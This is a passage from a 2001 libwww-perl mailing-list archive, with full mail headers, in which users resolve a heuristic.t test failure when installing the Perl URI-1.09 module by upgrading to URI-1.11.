"Wang, Pin-Chieh" <Pin-Chieh.Wang@COMPAQ.com> writes:

> I have proble, install URI-1.09 on Red Hat Linux 7 release
> I  am using Perl 5.6.0 and get "make test" error at heuristic Failure.
> I have MIME::BASE64-2.11 installed first.
> 
> Any body have similar problem? or have a solution of this problem?

Try URI-1.11.  It is a minor update that only address the
t/heuristic.t failure caused by www.perl.no now resolving.

Regards,
Gisle

From m_ilya@agava.com Thu Mar  1 08:56:17 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa02975 for <hyper>;
          1 Mar 2001 08:56 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa06043
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Mar 2001 08:56 PST
Received: (qmail 32136 invoked by uid 508); 1 Mar 2001 16:56:05 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 32127 invoked from network); 1 Mar 2001 16:56:03 -0000
Received: from unity.agava.ru (194.67.45.132)
  by tmtowtdi.perl.org with SMTP; 1 Mar 2001 16:56:03 -0000
Received: from relay2.agava.net.ru (2.oivt.mipt.ru [193.125.142.2])
	by unity.agava.ru (Postfix) with ESMTP
	id 7810B4392A2; Thu,  1 Mar 2001 19:55:30 +0300 (MSK)
Received: from gw.office.agava.ru (2.oivt.mipt.ru [193.125.142.2])
	by relay2.agava.net.ru (Postfix) with ESMTP
	id 132B143496; Thu,  1 Mar 2001 19:55:21 +0300 (MSK)
Received: from juil.domain (juil.domain [192.168.1.50])
	by gw.office.agava.ru (Postfix) with ESMTP
	id BD3685EA2; Thu,  1 Mar 2001 19:55:20 +0300 (MSK)
Received: by juil.domain (Postfix, from userid 1001)
	id 761B2377; Thu,  1 Mar 2001 19:55:21 +0300 (MSK)
Sender: ilya@juil.domain
To: "Wang, Pin-Chieh" <Pin-Chieh.Wang@compaq.com>
Cc: "'libwww@perl.org'" <libwww@perl.org>
Subject: Re: problem install URI-1.09 on Linux
References: <D0C97EB50803B34B8A3D1294F87308A32AE60C@cceexc11.americas.cpqcorp.net>
From: Ilya Martynov <m_ilya@agava.com>
Date: 01 Mar 2001 19:55:21 +0300
In-Reply-To: <D0C97EB50803B34B8A3D1294F87308A32AE60C@cceexc11.americas.cpqcorp.net>
Message-ID: <86u25dmnt2.fsf@juil.domain>
Lines: 26
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

>>>>> "WP" == Wang, Pin-Chieh <Pin-Chieh.Wang@COMPAQ.com> writes:

    WP> Hi,
    WP> I have proble, install URI-1.09 on Red Hat Linux 7 release
    WP> I  am using Perl 5.6.0 and get "make test" error at heuristic Failure.
    WP> I have MIME::BASE64-2.11 installed first.

    WP> Any body have similar problem? or have a solution of this problem?

I'm not sure but probably your answer is in file Changes for URI-1.10:

2001-02-27   Gisle Aas <gisle@ActiveState.com>

   Release 1.11

   The t/heuristic.t test relied on the fact that 'www.perl.no'
   was not registered in DNS.  This is no longer true.
   The penguins at Bouvet Island will hopefully be ignorant
   of Perl forever.

Since according Changes there was no real changes you can just use
URI-1.09

-- 
Ilya Martynov
AGAVA Software Company, http://www.agava.com

From Pin-Chieh.Wang@compaq.com Thu Mar  1 11:08:34 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa16799 for <hyper>;
          1 Mar 2001 11:08 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa08985
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 1 Mar 2001 11:08 PST
Received: (qmail 15069 invoked by uid 508); 1 Mar 2001 19:08:04 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 9071 invoked from network); 1 Mar 2001 17:55:42 -0000
Message-ID: <D0C97EB50803B34B8A3D1294F87308A3136806@cceexc11.americas.cpqcorp.net>
From: "Wang, Pin-Chieh" <Pin-Chieh.Wang@compaq.com>
To: 'Gisle Aas' <gisle@activestate.com>, 'Ilya Martynov' <m_ilya@agava.com>
Cc: "'libwww@perl.org'" <libwww@perl.org>
Subject: RE: problem install URI-1.09 on Linux
Date: Thu, 1 Mar 2001 11:55:12 -0600 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.78)
Content-Type: text/plain

Thanks folks, URI-1.11 passed the test
PC

-----Original Message-----
From: Gisle Aas [mailto:gisle@ActiveState.com]
Sent: Thursday, March 01, 2001 10:53 AM
To: Wang, Pin-Chieh
Cc: 'libwww@perl.org'
Subject: Re: problem install URI-1.09 on Linux


"Wang, Pin-Chieh" <Pin-Chieh.Wang@COMPAQ.com> writes:

> I have proble, install URI-1.09 on Red Hat Linux 7 release
> I  am using Perl 5.6.0 and get "make test" error at heuristic Failure.
> I have MIME::BASE64-2.11 installed first.
> 
> Any body have similar problem? or have a solution of this problem?

Try URI-1.11.  It is a minor update that only address the
t/heuristic.t failure caused by www.perl.no now resolving.

Regards,
Gisle

From moseley@hank.org Thu Mar  1 12:49:30 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa274